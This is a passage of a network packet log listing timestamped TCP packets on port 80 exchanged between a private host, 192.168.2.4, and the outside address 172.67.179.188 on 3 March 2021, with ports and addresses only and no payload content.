Mar 3, 2021 07:32:37.457983971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458007097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458008051 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.458030939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458031893 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.458055019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458074093 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.458076954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458158016 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.458878040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458905935 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458930969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458951950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458976030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.458977938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.458987951 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.459001064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459022999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459044933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459074020 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.459127903 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.459858894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459891081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459912062 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459938049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459960938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459981918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.459985018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460000992 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460004091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460025072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460047960 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460067987 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460716963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460746050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460772038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460798025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460808039 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460819960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460841894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460843086 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460865974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460882902 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.460887909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.460933924 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.461618900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461648941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461677074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461700916 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461721897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461745024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461747885 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.461770058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461792946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.461810112 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.461833000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.462495089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462524891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462548018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462568998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462590933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462614059 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.462615967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462641954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462665081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.462672949 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.462721109 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.463388920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463418007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463439941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463462114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463484049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463505983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463506937 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.463529110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463541031 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.463551998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463563919 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.463577986 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.463594913 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.464307070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464339972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464363098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464384079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464397907 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.464407921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464430094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464437962 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.464452028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.464456081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.464493036 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.465034962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465066910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465090036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465111017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465133905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465137005 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.465154886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465174913 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.465178967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465200901 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.465200901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465224028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.465243101 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.466036081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466065884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466088057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466111898 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466130972 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.466135025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466152906 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.466157913 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466171026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.466181040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466202021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466223955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466242075 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.466274977 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.466908932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466942072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466964960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.466988087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467008114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467027903 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467030048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467048883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467051983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467068911 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467073917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467099905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467114925 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467782974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467814922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467839003 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467861891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467869997 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467885971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467910051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467928886 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467936039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467952967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.467961073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467983007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.467986107 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.468223095 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.468660116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468688011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468712091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468734980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468743086 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.468755960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468776941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468784094 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.468801022 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468822956 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.468823910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468847036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468864918 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.468872070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.468924046 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.469728947 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.469762087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.469785929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.469810009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.469827890 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.469830990 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.469851971 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.469854116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.469912052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.518467903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518506050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518528938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518557072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518578053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518601894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518624067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518644094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518663883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518676996 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.518685102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518703938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518724918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518743038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518748045 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.518788099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.518824100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518846989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518868923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518870115 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.518888950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518908978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518918037 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.518929958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518953085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.518955946 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519010067 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519321918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519346952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519366980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519387007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519403934 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519407988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519432068 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519450903 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519454002 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519474030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519480944 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519494057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519515991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519525051 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519536018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519556046 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519557953 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.519577026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.519649029 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.520260096 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520287991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520308971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520329952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520349026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.520351887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520376921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520385981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.520400047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520418882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520426035 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.520438910 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.520438910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520462036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520482063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520499945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.520499945 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.520525932 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.521126986 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521157026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521178961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521199942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521220922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521240950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521241903 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.521260977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521267891 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.521281004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521303892 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521317005 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.521325111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521344900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521348000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.521369934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521408081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.521434069 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.521450996 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.522022009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522052050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522073030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522094011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522115946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522125959 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.522135973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522154093 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.522156000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522176027 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522176981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.522196054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522213936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.522217989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522236109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.522274017 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:38.957936049 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.006407022 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153657913 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153692007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153708935 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153724909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153739929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153755903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153773069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153789043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153804064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153822899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153824091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.153840065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153855085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153871059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.153911114 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.153948069 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154035091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154076099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154098988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154119015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154124975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154139996 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154150963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154164076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154189110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154192924 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154212952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154232025 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154234886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154257059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154278040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154285908 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154299021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154314041 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154787064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154820919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154845953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154867887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.154911995 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.154963970 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220282078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220316887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220339060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220359087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220379114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220402956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220413923 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220458031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220475912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220475912 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220495939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220504045 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220515013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220541954 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220566988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220623016 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220643044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220665932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220670938 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220688105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220710993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220717907 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220732927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220752954 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220755100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220773935 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.220776081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220798969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220824957 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.220829010 CET	49741	80	192.168.2.4	172.67.179.188
